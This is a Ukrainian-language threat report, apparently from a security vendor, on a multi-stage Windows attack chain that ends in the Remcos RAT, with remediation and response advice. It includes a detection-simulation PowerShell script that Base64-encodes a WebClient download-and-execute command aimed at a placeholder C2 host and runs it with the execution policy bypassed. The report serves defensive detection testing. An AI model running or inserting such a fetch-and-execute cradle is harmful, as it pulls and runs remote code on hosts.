SHADOW#REACTOR – СТЕЙДЖИНГ БЕЗ ТЕКСТУ, .NET REACTOR І ІМПЛАНТАЦІЯ REMCOS RAT В ПАМ’ЯТІ

Ruslan Mikhalov Chief of Threat Research at SOC Prime

Стежити

SHADOW#REACTOR – СТЕЙДЖИНГ БЕЗ ТЕКСТУ, .NET REACTOR І ІМПЛАНТАЦІЯ REMCOS RAT В ПАМ’ЯТІ

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

SHADOW#REACTOR — це багатоступенева мережа шкідливого програмного забезпечення для Windows, яка об’єднує заплутаний VBS-ініціатор, завантажувач на базі PowerShell, артефакти інсценування лише у вигляді тексту, завантажувач, захищений .NET Reactor, та виконання MSBuild для остаточного розгортання троянської програми віддаленого доступу (RAT) Remcos.

Дослідження

Дослідники реконструювали потік, починаючи зі скрипта VBS, отриманого з інфраструктури атакуючих, за яким слідують процедури PowerShell, які знову збирають та декодують інсценовані текстові навантаження. Ланцюг продовжується через відбиваюче завантаження .NET-складання в пам’ять та остаточну передачу MSBuild, що запускає виконання RAT Remcos. У звіті документуються текстово-кодувані компоненти, логіка дешифрування та методи збереження доступу.

Усунення

Збільште покриття моніторингу для хостів скриптів і інтерпретаторів, і попереджайте виконання VBS/PowerShell із шляхів, що можуть бути записані користувачем, де це можливо. Додайте виявлення для підозрілої вихідної HTTP-трафіку до виявленої інфраструктури, неправомірного використання MSBuild та відбиваючої завантаження .NET-складання. Контролюйте загальні патерни збереження, включаючи модифікації Run-key та елементи запуску на основі ярликів.

Відповідь

Якщо діяльність SHADOW#REACTOR підтверджується, ізолюйте кінцевий вузол і зупиніть весь ланцюг процесів (wscript.exe → powershell.exe → msbuild.exe). Видаліть усі інсценовані текстові файли та пов’язані артефакти реєстру, а також очистіть шляхом видалення бінарних файлів Remcos та пов’язаних конфігураційних об’єктів. Після цього проведіть ретельний судово-експертний огляд для визначення додаткового компромісу і забезпечте повне усунення.

Потік атаки

Наратив атаки та команди:
Атакуючий, який має обмежені права на бічний рух, бажає виконати віддалене навантаження на скомпрометованому Windows-хості, уникаючи звичайних захисних механізмів блокування скриптів. Вони використовують PowerShell з -ExecutionPolicy Bypass щоб ігнорувати обмеження на виконання політики. Шкідливе навантаження заплутане як Base64-кодований рядок, який, при декодуванні, створює System.Net.WebClient об’єкт для завантаження скрипта PowerShell з сервера C2 та виклик його. Ця комбінація задовольняє всі три критерії виявлення (Обхід виконання політики, FromBase64String, System.Net.WebClient).

Тестовий регресіонний скрипт:

#--------------------------------------------
# Імітація виконання шкідливого PowerShell
#--------------------------------------------
# 1. Створити простий віддалений скрипт (тільки для демонстрації)
$remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")'
# 2. Закодируйте скрипт у Base64
$bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript)
$b64   = [Convert]::ToBase64String($bytes)
# 3. Виконайте з обходом ExecutionPolicy і FromBase64String
PowerShell -ExecutionPolicy Bypass -Command "
    $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64'));
    Invoke-Expression $decoded
"

Команди очищення:

# Видалити всі завантажені навантаження та зупинити процеси, що затримались у PowerShell
Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force
Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно